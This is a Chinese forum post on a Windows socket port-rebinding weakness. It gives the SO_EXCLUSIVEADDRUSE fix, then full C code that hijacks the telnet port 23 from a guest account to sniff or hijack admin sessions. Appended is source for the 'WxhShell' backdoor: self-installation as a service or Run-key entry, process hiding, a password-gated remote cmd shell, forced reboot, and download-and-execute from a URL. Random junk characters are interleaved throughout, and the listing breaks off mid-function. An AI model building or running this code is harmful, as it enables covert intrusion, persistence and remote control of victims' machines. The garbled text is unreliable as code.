在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
CIM9~:\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
"CEy r0h }T?MWcG4 saddr.sin_family = AF_INET;
XsldbN^6 ~IHjj1s saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ez2 gy" nP9@yI*7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5(/ 5$u BO5gwvyI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@-z#vJ5Qe{ AUloP?24 这意味着什么?意味着可以进行如下的攻击:
XA[GF6W,Y /!o(Y8e>x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-%XvWZvZ 23/!k}G" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
vT<q zN 5XNIX)H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3:$hC8 !b O8apn 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JJnZbJti SL;\S74 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0Fw0#eE Ozk^B{{o
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
o6pnTu ~Od4(
}/G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Sx,O) :E|HP#iwu #include
1i}Rc: #include
mT.p-C #include
ObC #include
<v?9:} DWORD WINAPI ClientThread(LPVOID lpParam);
>4:W:;R int main()
_tR%7%3* {
U.oxLbJ` WORD wVersionRequested;
(~oUd4 DWORD ret;
]fXMp*LvY WSADATA wsaData;
G"jKYW BOOL val;
/EUv=89{! SOCKADDR_IN saddr;
\lK iUy/ SOCKADDR_IN scaddr;
?Z @FxW int err;
XA~Rn>7&H SOCKET s;
oZ1#.o{ SOCKET sc;
;lST@> int caddsize;
d 7A08l{ HANDLE mt;
pRtxyL"y DWORD tid;
\s2hep wVersionRequested = MAKEWORD( 2, 2 );
-ob_]CKtJ~ err = WSAStartup( wVersionRequested, &wsaData );
ZdEeY|j if ( err != 0 ) {
u93=>S printf("error!WSAStartup failed!\n");
TB] %?L: return -1;
d\`A
^ }
0lNVQxG saddr.sin_family = AF_INET;
&nk6_{6
c B$k<F8!% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8T'=lTJ P>=~\v nN# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=R#K`H66j saddr.sin_port = htons(23);
Qp7|p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cL&V2I5O {
Q5e ,[1 printf("error!socket failed!\n");
/"?y @;Y~ return -1;
omM*h{z$$ }
)5lo^Qb val = TRUE;
b=a&!r5M //SO_REUSEADDR选项就是可以实现端口重绑定的
r)<]W@Pr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:Ia3yi# {
ze
Qgg|; printf("error!setsockopt failed!\n");
c,KT1me return -1;
. m_y5J }
L0SeG: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E|D~:M%~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*=L3bBu? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E%\i NU! ZLdvzH@' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
n.C.th
>Y1 {
(LPMEQhI: ret=GetLastError();
vq*N printf("error!bind failed!\n");
#Nxk3He]8 return -1;
Q7$ILW-S }
N<+
><>9 listen(s,2);
Vg/{;uLAe while(1)
S\GC^
FK {
hS&,Gm`^ caddsize = sizeof(scaddr);
L)VEA8} //接受连接请求
a
+Q9kh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0U]wEz*b if(sc!=INVALID_SOCKET)
ks7g*; 3{@ {
38!$9) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4VPL
-":6 if(mt==NULL)
@`aR*B {
o|8
5<~` printf("Thread Creat Failed!\n");
s)"C~w^ break;
l?~SH[V }
D;)Tm|XizW }
!*.mcIQT CloseHandle(mt);
Zo`'xg }
ilQR@yp* closesocket(s);
Qvs}{h/ WSACleanup();
,+P!R0PNH return 0;
5n1;@Vr }
xL4qt= DWORD WINAPI ClientThread(LPVOID lpParam)
!o 2"th {
Eom|*2vWIC SOCKET ss = (SOCKET)lpParam;
`CW8Wj SOCKET sc;
nnIBN4 unsigned char buf[4096];
7X.rGJZq SOCKADDR_IN saddr;
s
S8Z5k; long num;
^8aj\xe( DWORD val;
u&`7 C DWORD ret;
_n_lO8mK //如果是隐藏端口应用的话,可以在此处加一些判断
7f#[+i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
QJp
_>K saddr.sin_family = AF_INET;
6}
!n0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aT[Z#Zd, N saddr.sin_port = htons(23);
=?T\zLN= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?"PUw3V3lB {
`@ULG> printf("error!socket failed!\n");
"aK3
ylz; return -1;
?hvPPEJf }
CQ2{5 val = 100;
EtJyI&7VK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z71.5n!C {
`?{QCBVj ret = GetLastError();
D61CO-E(D return -1;
y%k\=:m }
$6h:j#{JE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/ZZo`
{
OBi9aFoQ ret = GetLastError();
_)Q)tOW return -1;
(=0W[@k }
2}>jq8Y47 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rH8^Fl&jT {
QIF|pZ+^ printf("error!socket connect failed!\n");
;oVdkp closesocket(sc);
5Fm.] / closesocket(ss);
jNB|98NN return -1;
db^S@} }
Qn(e[
C6\ while(1)
C_=! ( @`8 {
LYNd^} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:U)q(.53 //如果是嗅探内容的话,可以再此处进行内容分析和记录
\%=\_"^? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{S(?E_id5b num = recv(ss,buf,4096,0);
q17c)]<" if(num>0)
7}>j [ send(sc,buf,num,0);
Rtw^
lo else if(num==0)
_Xd,aLoo break;
z$oA6qB) num = recv(sc,buf,4096,0);
z:bxnM2\ if(num>0)
<",4O send(ss,buf,num,0);
4m$n Vv else if(num==0)
,x!P|\w.G{ break;
w-};\]I }
YvE$fX= closesocket(ss);
+I#4+0f closesocket(sc);
:
m$cnq~h return 0 ;
k'}}eu/ q }
/E$"\md jFpXTy[> 6UR.,*f= ==========================================================
dG}fpQ3& X{\>TOk 下边附上一个代码,,WXhSHELL
OEy'8O$ lBh|+KN ==========================================================
1@RctI_} S9}P5;u #include "stdafx.h"
BbUZ,X*Y \ }>1$kH; #include <stdio.h>
)`yxJ;O@$ #include <string.h>
^;n,C+ #include <windows.h>
P!'Sx;C^f #include <winsock2.h>
23@e?A=C #include <winsvc.h>
DtG><g}[] #include <urlmon.h>
&\4AvaeA8y "AP''XNi #pragma comment (lib, "Ws2_32.lib")
He^+>XIam #pragma comment (lib, "urlmon.lib")
>/nS<y> VS@o_fUx) #define MAX_USER 100 // 最大客户端连接数
kX."|] #define BUF_SOCK 200 // sock buffer
Lw\ANku #define KEY_BUFF 255 // 输入 buffer
"12.Bi.O"[ -MOPm]iA #define REBOOT 0 // 重启
rBa <s #define SHUTDOWN 1 // 关机
kc^Q?-? ."l@aE=| #define DEF_PORT 5000 // 监听端口
dbSIC[q [[P?T^KT #define REG_LEN 16 // 注册表键长度
yZ)GP!cM4c #define SVC_LEN 80 // NT服务名长度
`YAqR?Xj_< P\KP )bkC // 从dll定义API
j!GJ$yd=-6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a{^[< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
HiCNs;t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
o{pQDI {R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
eG9tn{ HE(|x1C)j // wxhshell配置信息
dN\Byl(6 struct WSCFG {
wQWokpP;T7 int ws_port; // 监听端口
4_3Jpz* char ws_passstr[REG_LEN]; // 口令
> xkl7D int ws_autoins; // 安装标记, 1=yes 0=no
^%-$8sV char ws_regname[REG_LEN]; // 注册表键名
5t#+UR char ws_svcname[REG_LEN]; // 服务名
su/l'p' char ws_svcdisp[SVC_LEN]; // 服务显示名
9V`/zq? char ws_svcdesc[SVC_LEN]; // 服务描述信息
SLpB$puS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~'KymarPU int ws_downexe; // 下载执行标记, 1=yes 0=no
LOpnPH` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qEPvV char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&0SX*KyI A#M#JI-Y };
dX{|-;6vm N~_GJw@ // default Wxhshell configuration
zvYkWaa_Qz struct WSCFG wscfg={DEF_PORT,
xu(5U`K "xuhuanlingzhe",
A-1Wn^,>* 1,
F2]v]]F! "Wxhshell",
Z0g3> iItM "Wxhshell",
TKj8a(R_ "WxhShell Service",
W,5A|Q~ "Wrsky Windows CmdShell Service",
U(3+*'8r,1 "Please Input Your Password: ",
/+pbO-r W* 1,
I>o+INb: "
http://www.wrsky.com/wxhshell.exe",
dawe!w! "Wxhshell.exe"
vpcx 1t< };
R nt&<|8G 6js94ko[ // 消息定义模块
8o#*0d| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Iq0_X7:{QI char *msg_ws_prompt="\n\r? for help\n\r#>";
T`7;Rl'Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Wz}RJC7p char *msg_ws_ext="\n\rExit.";
_*h,,Q char *msg_ws_end="\n\rQuit.";
eU'DQp* char *msg_ws_boot="\n\rReboot...";
Ls )y.u char *msg_ws_poff="\n\rShutdown...";
l-xKfp` char *msg_ws_down="\n\rSave to ";
I1yZ7QY }tv% char *msg_ws_err="\n\rErr!";
*gfx'$ char *msg_ws_ok="\n\rOK!";
W&ya_iP~C !c[(#g char ExeFile[MAX_PATH];
MKLnt X int nUser = 0;
$,4;_4t HANDLE handles[MAX_USER];
=k6zUw;5 U int OsIsNt;
}Iz'#I
Xx MO&QR-OY SERVICE_STATUS serviceStatus;
S`gUSYS"w SERVICE_STATUS_HANDLE hServiceStatusHandle;
r,X5@/ z=:<]j#= // 函数声明
0gO<]]M? int Install(void);
6Ae <W7 int Uninstall(void);
eBX#^ int DownloadFile(char *sURL, SOCKET wsh);
(iM"ug2 int Boot(int flag);
Q1 ?O~ao void HideProc(void);
Nl3x
BM% int GetOsVer(void);
y}*rRm.: int Wxhshell(SOCKET wsl);
2.CjjI void TalkWithClient(void *cs);
Ex9%i9H int CmdShell(SOCKET sock);
?F]Yebp^ int StartFromService(void);
Xd/gvg{??0 int StartWxhshell(LPSTR lpCmdLine);
y
E-H-r~I 8Kt_irD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^IGutZov VOID WINAPI NTServiceHandler( DWORD fdwControl );
#Ki(9oWd x=Z\c,@O // 数据结构和表定义
yG|^-O}L SERVICE_TABLE_ENTRY DispatchTable[] =
5!u.w {
w^Qb9vTa8 {wscfg.ws_svcname, NTServiceMain},
&SfJwdG*= {NULL, NULL}
|#8u:rguy };
Q3>
3!FAO L&M6s
f$N // 自我安装
~L(=-B`Ow int Install(void)
0yr=$F(]s {
.}>d[},F char svExeFile[MAX_PATH];
uH[d%y/ HKEY key;
x4|>HY<p? strcpy(svExeFile,ExeFile);
: Y/i%#*1 :=vB|Ch:~ // 如果是win9x系统,修改注册表设为自启动
HSGM&!5mW if(!OsIsNt) {
.WM 0x{t/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l0AgW_T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ry>c]\a] RegCloseKey(key);
ufAp7m@ud if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?#?[6t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ks|[`FH RegCloseKey(key);
BqC, -gC return 0;
S6CM/ }
#TZf\0\! }
9XWHr/-_@ }
)w];eF0c else {
''Fy]CwH( UH/) 4Wg // 如果是NT以上系统,安装为系统服务
#R$d6N[H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|d^r"wbs3 if (schSCManager!=0)
+;~JHx.~X {
y;Xb."e~ SC_HANDLE schService = CreateService
sPY*2B (
n^P=a'+ schSCManager,
\hN\px wscfg.ws_svcname,
%}jwuNGA wscfg.ws_svcdisp,
9k8ftxB^ SERVICE_ALL_ACCESS,
-BUxQ8/, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
x)0g31 49 SERVICE_AUTO_START,
9t@^P^}=\m SERVICE_ERROR_NORMAL,
q<`YJ, svExeFile,
TxAT )) NULL,
&os9K) NULL,
6*,'A|t?y NULL,
(+7gS_c NULL,
:q=u+h_ NULL
02E-|p; );
"&?F6Pi if (schService!=0)
4DI.RK9 {
RG/M- CloseServiceHandle(schService);
h-
.V[]< CloseServiceHandle(schSCManager);
3qOq:ZkQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(7BG~T strcat(svExeFile,wscfg.ws_svcname);
o`S| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^2E\{$J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fkE4[X7f RegCloseKey(key);
p\I,P2on return 0;
%7=B?c| }
]-"~? }
&ywAzGV{s CloseServiceHandle(schSCManager);
$z,lq#zzl }
j<H`<S }
lx*"Pj9hho ~_ss[\N return 1;
USfpCRj9 }
@igGfYy YT\x'`>Q // 自我卸载
\Z9+U:n int Uninstall(void)
hZNS$ {
7=C$*)x HKEY key;
B:S/
?v [1Pw2MC< if(!OsIsNt) {
OAPR wOQ^= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(sLFJ
a6e RegDeleteValue(key,wscfg.ws_regname);
V`xZ4 i%L RegCloseKey(key);
^@?-YWt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n'R9SnW RegDeleteValue(key,wscfg.ws_regname);
>qh8em RegCloseKey(key);
rlG&wX return 0;
~]X4ru5,4 }
L,#ij!txS }
Nd!0\ "AE }
4_qd5K+n" else {
; (I(TG Ut:>'TwG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
lc1?Vd$ if (schSCManager!=0)
l/9V59Fv9 {
*olV Y/'O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gyi<ot; if (schService!=0)
1{@f:~ v? {
Uywi,9f if(DeleteService(schService)!=0) {
#xL^S9P CloseServiceHandle(schService);
>DX\^86x CloseServiceHandle(schSCManager);
q\wT[W31@ return 0;
t.wB\Kmt\ }
1L722I@ CloseServiceHandle(schService);
,)%al76E }
ELoE-b)Cb CloseServiceHandle(schSCManager);
o,l 3j|1 }
dL;C4[(N }
%oVoE2T{@ Wr+?ul*_ return 1;
oc.H}Eb%Z }
d(PS ! Ra.DSL // 从指定url下载文件
EfA*w/y int DownloadFile(char *sURL, SOCKET wsh)
dx['7l;I {
f9v%k'T[ HRESULT hr;
={&}8VA char seps[]= "/";
Zz!0|-\ char *token;
o.Ld.I) char *file;
7"}<J7"}) char myURL[MAX_PATH];
+~~FfIzf# char myFILE[MAX_PATH];
rPaUDR4U s))L^|6 strcpy(myURL,sURL);
U~!yGj F token=strtok(myURL,seps);
%|mRib|<C while(token!=NULL)
hE.NW {
i'Vrx(y3 file=token;
lGHU{7j\ token=strtok(NULL,seps);
yt,xA;g }
Brw-"tmx lq0@)'D GetCurrentDirectory(MAX_PATH,myFILE);
Y rq-( strcat(myFILE, "\\");
a1V+doC strcat(myFILE, file);
5IOMc4v send(wsh,myFILE,strlen(myFILE),0);
'r`#u@TTZ send(wsh,"...",3,0);
{m1=#* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
CZ&VP% if(hr==S_OK)
N7%iz+ return 0;
,\*PpcU else
ybWb'+x return 1;
eu!B
, Fkgnc{NI }
D)C^'/8q &8VB{S>r // 系统电源模块
b[+G+V int Boot(int flag)
^7Sk`V {
[k~V77w
14 HANDLE hToken;
R5O{;/w TOKEN_PRIVILEGES tkp;
MExP'9 Rou$`<{H if(OsIsNt) {
EOqvu=$6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
T\ ;7' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.iK{=L/(y tkp.PrivilegeCount = 1;
QLNQE 6- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r$3{1HXc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O'tVZ!C#J if(flag==REBOOT) {
#i$/qk=N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
R7~H}>uaF return 0;
E]G#"EV!Y }
?UD2}D[M else {
^kg[n908Nw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w74)kIi return 0;
^`0^|u= }
CXC,@T }
QcZ*dI7]: else {
l| 1O9I0Gd if(flag==REBOOT) {
#"tHT<8 u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
JNY;;9o return 0;
lPcp 17U }
[x}]sT`#a else {
34Q;& z\e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5AmYrXZ return 0;
`[T|Ck5 }
N}ur0 'J0 }
!Jh/M^ k-;%/:Om return 1;
pqaQ% |< }
63hOK 5nq0#0Oc // win9x进程隐藏模块
AvW2)+6G void HideProc(void)
M%dJqwH5{ {
s>}ScJZK oU }eAZj{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Pba 6Ay6B if ( hKernel != NULL )
4F_*,_Y {
/I[?TsXp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g\sW2qXEw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|&JCf= FreeLibrary(hKernel);
6=V&3|" }
T /iKz Yh`P+L return;
VCOz?Y* }
y*ae 5=6( LKtug>Me // 获取操作系统版本
~udi=J| int GetOsVer(void)
b"U{@ {
')pXQ OSVERSIONINFO winfo;
u nE h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i:ar{ q GetVersionEx(&winfo);
,sEu[m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
XA8{N return 1;
X+l&MD else
sGx"ja+ return 0;
.~#<> }
rLMjN#`^ <DG=qP6O // 客户端句柄模块
VgfA&?4[ int Wxhshell(SOCKET wsl)
anwMG0 {
.+1.??8:+ SOCKET wsh;
Wj2s+L7, struct sockaddr_in client;
$N$
ZJC6(@ DWORD myID;
I@dS/ nic7RN?F< while(nUser<MAX_USER)
3QL I|VpO {
9NCo0!Fb int nSize=sizeof(client);
2z/qbzG7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
S1 22.
I if(wsh==INVALID_SOCKET) return 1;
`%
sKF (n'Mf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MCN}pi if(handles[nUser]==0)
9|yn{4E closesocket(wsh);
sjBP#_lW else
l7G&[\~ nUser++;
\!HGkmd }
/[f9Z:>V WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
63b?-.!b $~M#msK9 return 0;
/15e-(Zz/ }
g_z%L?N n W2[x; // 关闭 socket
u<`CkYT void CloseIt(SOCKET wsh)
?C#=Q6 {
Q v/}WnBk closesocket(wsh);
8 VMe#41 nUser--;
/A3tY"Vn ExitThread(0);
X}?`G?' }
#h'F6 #7S[Ch}O // 客户端请求句柄
ZJev_mj void TalkWithClient(void *cs)
P;R`22\3 {
_8$arjx= }eA2y($N SOCKET wsh=(SOCKET)cs;
~9.0:Fm< char pwd[SVC_LEN];
HorFQ?8 char cmd[KEY_BUFF];
C[h"w'A2 char chr[1];
(<f`},
QxD int i,j;
J!sIxwF 'bN\8t\S while (nUser < MAX_USER) {
BbA7X B4k~~ ;| if(wscfg.ws_passstr) {
`9;:mR $ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^6=y4t=%F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y*-#yG9 //ZeroMemory(pwd,KEY_BUFF);
SH#-3&$[ i=0;
=n_r\z while(i<SVC_LEN) {
#Z8=z*4 o#V}l^uU= // 设置超时
Gni<@;} fd_set FdRead;
#QdBI{2 struct timeval TimeOut;
@y,pfWh` FD_ZERO(&FdRead);
d_CY=DHF%` FD_SET(wsh,&FdRead);
b(8#*S!U TimeOut.tv_sec=8;
Yj+p^@{S2P TimeOut.tv_usec=0;
OZ2gIK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*g
=ey?1S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0pT?qsM2
^J,Zl`N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Kj|l]' pwd
=chr[0]; g9 .b6}w!
if(chr[0]==0xd || chr[0]==0xa) { OQt_nb#z`{
pwd=0; Q/EHvb]
break; Dh=?Hzw
} m44Ab6gpsb
i++; @1_M's;
} ~Rx:X4|H
1-`Il]@?8
// 如果是非法用户,关闭 socket pWY $aI
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); };5d>#NK,Y
} dTN[E6#R
H$2<N@'4z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); - inZX`afA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wr.G9zq.+
APydZ
while(1) { +C4UM9
2H7b2%
ZeroMemory(cmd,KEY_BUFF); *c<=IcA
.!yXto:
// 自动支持客户端 telnet标准 [=dK%7v
j=0; .W[ 9G\
while(j<KEY_BUFF) { hV,)u3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !]1'?8
cmd[j]=chr[0]; 9$)I=Rpk=
if(chr[0]==0xa || chr[0]==0xd) { :\I88
-N@'
cmd[j]=0; |G^w2"D_Z
break; Ae,P&(
} |KF_h^
j++; )erI3?k
} QMUmPx&
6\jhDP@`9
// 下载文件 neN #Mo'A
if(strstr(cmd,"http://")) { V\U,PNkZQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7noxUGmFw
if(DownloadFile(cmd,wsh)) wxy.&a]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pY75S5h:
else Gt>*y.]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p%;n4*b2
} 9"T&P_
else {
_}4l4
R5_xli%
switch(cmd[0]) { =ELl86=CG
<Lz/J-w
// 帮助 fO6i
case '?': { Pc"g
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /G}TPXA
break; 3iKBVN
} v(5zSo
// 安装 ^! ?wh
case 'i': { Mi+<|5is
if(Install()) VJp; XM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[*E>:)qh
else ces|HPBa&6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CKoRq|QG_
break; L[M`LZpJo
} Rd|#-7
// 卸载 > 93I|C|
case 'r': { X8l|^[2F
if(Uninstall()) Rn(6Fk?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BO6u<cu"-
else j5eX?bi_v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QLr.5Wcg>
break; QfHJZ7K.4
} >x/;'Y.
// 显示 wxhshell 所在路径 ,E YB
E
case 'p': { FVi7gg.?
char svExeFile[MAX_PATH]; puE!7:X7
strcpy(svExeFile,"\n\r"); 'JA<q-Gn
strcat(svExeFile,ExeFile); nQy %av$
send(wsh,svExeFile,strlen(svExeFile),0); )SJ18 no|l
break; Ft} h&aYP
} ?4G/f<ou
// 重启 >fX_zowX
case 'b': { 9Tju+KcK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /EW1&
if(Boot(REBOOT)) tQTVP 2:Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gp&o
else { Vifh`BSP
closesocket(wsh); g!<=NVhYt
ExitThread(0); ;:2:f1_
} aaa6R|>0
break; Z4@%0mFll
} &\w:jI44Bs
// 关机 Pl2ZA)[g
case 'd': { $G
$147z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %yr(i 6L
if(Boot(SHUTDOWN)) 3b9SyU2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k;)t}7(
else { f9ziSD#
closesocket(wsh); P LHiQ:
ExitThread(0); KG8:F].u(
} BH@b]bEJ
break; {Z~5#<t
} Aw7oyC!
// 获取shell hXF#KVqx
case 's': { s,~p}A%0
CmdShell(wsh); 'f'zV@)
closesocket(wsh); Imv]V6"D=
ExitThread(0); J%|n^^ /un
break; 1-!q,q
} p bRU"
// 退出 |ORro
r}
case 'x': { J~"h&>T
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z+3j>_Ss
CloseIt(wsh); vv 7T/C
break; "q<}#] u
} UoD@ix&0
// 离开 b ~5Q|3P 9
case 'q': { 948 lL&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K
|Z]
closesocket(wsh); :4HZ>!i
WSACleanup(); KMU2PoqD
exit(1); ;XUiV$
break; `fL81)!jI#
} .UdoB`@!v=
} 1I^uq>r
} bOvMXj/HV=
@U)k~z2Hk
// 提示信息 jE.yT(+lW
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q>n0'`q
} EKr#i}(x<
} FF} A_ZFY
j1Ng[
return; xllk hD4F
} <aScA`\B#
CcDi65s
// shell模块句柄 ,sk0){rW
int CmdShell(SOCKET sock) mW+QJ` 3
{ W)OoHpdw
STARTUPINFO si; dI$U{;t
ZeroMemory(&si,sizeof(si)); H.H$5(?O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IegZ)&_n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I"_``*/1
PROCESS_INFORMATION ProcessInfo; ytsPk2@WR
char cmdline[]="cmd"; SniKCqmC]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M~o\K'
return 0; 'K8emt$d+
} C{5^UCJkg
|1rKGDc
// 自身启动模式 q%rfKHMA50
int StartFromService(void) XH"-sZt
{ M8,_E\*
typedef struct Q*GJREC
{ >^U$2P
DWORD ExitStatus; DqQ+8 w
DWORD PebBaseAddress; <}vult^
